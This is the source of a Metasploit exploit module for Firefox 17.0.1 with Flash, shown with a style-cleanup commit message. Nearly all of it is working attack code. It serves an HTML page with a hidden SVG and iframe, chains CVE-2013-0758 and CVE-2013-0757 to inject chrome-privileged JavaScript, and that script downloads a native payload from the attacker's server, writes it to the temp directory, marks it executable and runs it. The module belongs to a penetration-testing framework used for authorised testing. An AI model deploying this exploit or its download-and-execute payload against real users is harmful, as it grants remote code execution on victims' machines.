Files
metasploit-gs/modules/exploits/multi/browser/firefox_svg_plugin.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

297 lines
10 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
the user has installed Flash. No memory corruption is used.
First, a Flash object is cloned into the anonymous content of the SVG
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
can navigate a child frame to a URL in the chrome:// scheme.
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
around the child frame's window reference and inject code into the chrome://
context. Once we have injection into the chrome execution context, we can write
the payload to disk, chmod it (if posix), and then execute.
Note: Flash is used here to trigger the exploit but any Firefox plugin
with script access should be able to trigger it.
},
'License' => MSF_LICENSE,
'Targets' =>
[
[ 'Automatic',
{
'Platform' => %w{ linux osx win },
'Arch' => ARCH_X86
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 0,
'Author' =>
[
'Marius Mlynski', # discovery & bug report
'joev', # metasploit module
'sinn3r' # metasploit fu
],
'References' =>
[
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
['OSVDB', '89019'], # maps to CVE 2013-0757
['OSVDB', '89020'], # maps to CVE 2013-0758
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
],
'DisclosureDate' => 'Jan 08 2013'
))
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed)
end
def on_request_uri(cli, request)
my_target = get_target(request.headers['User-Agent'])
if my_target.nil?
print_error("User agent does not match an available payload type, bailing.")
send_not_found(cli)
return
end
target = my_target
if request.uri =~ /\.swf$/
# send Flash .swf for navigating the frame to chrome://
print_status("Sending .swf trigger.")
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
elsif request.uri =~ /\.bin/
# send the binary payload to drop & exec
print_status("Child frame navigated. Sending binary payload to drop & execute.")
send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
else
# send initial HTML page
print_status("Target selected: #{target.name}")
print_status("Sending #{self.name}")
send_response_html(cli, generate_html(target))
end
handler(cli)
end
# @return [String] the encoded executable for dropping onto the client's machine
def dropped_file_contents(cli, target)
return if ((p=regenerate_payload(cli)) == nil)
opts = target.opts
exe = ''
case target.name
when /windows/i
opts = opts.merge({:code=>p.encoded})
exe = generate_payload_exe(opts)
when /linux/i
exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
when /os x/i
exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
end
return exe
end
# @return [Msf::Module::Target] that matches the client's user-agent header
def get_target(agent)
# Not firefox, bail
if agent !~ /firefox/i
return nil
end
# User wants to manually specify a target, respect that
if target != targets[0]
return target
end
# os detection
if agent =~ /windows/i
targets[1]
elsif agent =~ /linux/i
targets[2]
elsif agent =~ /macintosh/i and agent =~ /intel/i
targets[3]
else
nil
end
end
# @return [String] the contents of the .swf file used to trigger the exploit
def flash_trigger
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
@flash_trigger ||= File.read(swf_path)
end
# @return [String] the filename that will be used when the payload is dropped
def payload_filename(target)
if target.name =~ /Windows x86/i
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
else
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
end
end
# @return [String] containing javascript code to execute with chrome privileges
def js_payload(target)
%Q|
#{js_debug("Injection successful. JS executing with chrome privileges.")}
var x = new XMLHttpRequest;
x.overrideMimeType('text/plain; charset=x-user-defined');
x.open('POST', '#{base_url}.bin', false);
x.send(null);
#{js_debug("'Payload: '+x.responseText", "")}
var file = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
file.append('#{payload_filename(target)}');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
stream.write(x.responseText, x.responseText.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
stream.finish();
} else {
stream.close();
}
#{chmod_code(target)}
#{js_debug("'Downloaded to: '+file.path", "")}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(file);
process.run(false, [], 0);
|
end
# @return [String] containing javascript that will alert a debug string
# if the DEBUG is set to true
def js_debug(str, quote="'")
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
end
# @return [String] containing javascript that will chmod the dropped executable
def chmod_code(target)
return '' if target.name == 'Windows x86 (Native Payload)'
%Q|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
chmod.initWithPath("/bin/chmod");
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(chmod);
process.run(true, ["+x", file.path], 2);
|
end
# @return [String] URL for sending requests back to the module
def base_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
end
# @return [String] HTML that is sent in the first response to the client
def generate_html(target)
vars = {
:symbol_id => 'a',
:random_domain => 'safe',
:payload => js_payload(target),
:payload_var => 'c',
:payload_key => 'k',
:payload_obj_var => 'payload_obj',
:interval_var => 'itvl',
:access_string => 'access',
:frame_ref => 'frames[0]',
:frame_name => 'n',
:loader_path => "#{base_url}.swf",
:content => self.datastore['CONTENT'] || ''
}
%Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
function $() {
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
}
function _() {
return '#{vars[:frame_name]}';
}
var #{vars[:interval_var]} = setInterval(function(){
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
catch(e){
clearInterval(#{vars[:interval_var]});
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
Object.prototype.__lookupSetter__("__proto__").call(p, o);
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
}
}, 100);
document.querySelector('object').data = "#{vars[:loader_path]}";
document.querySelector('use').setAttributeNS(
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
);
</script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body>
</html>
|
end
end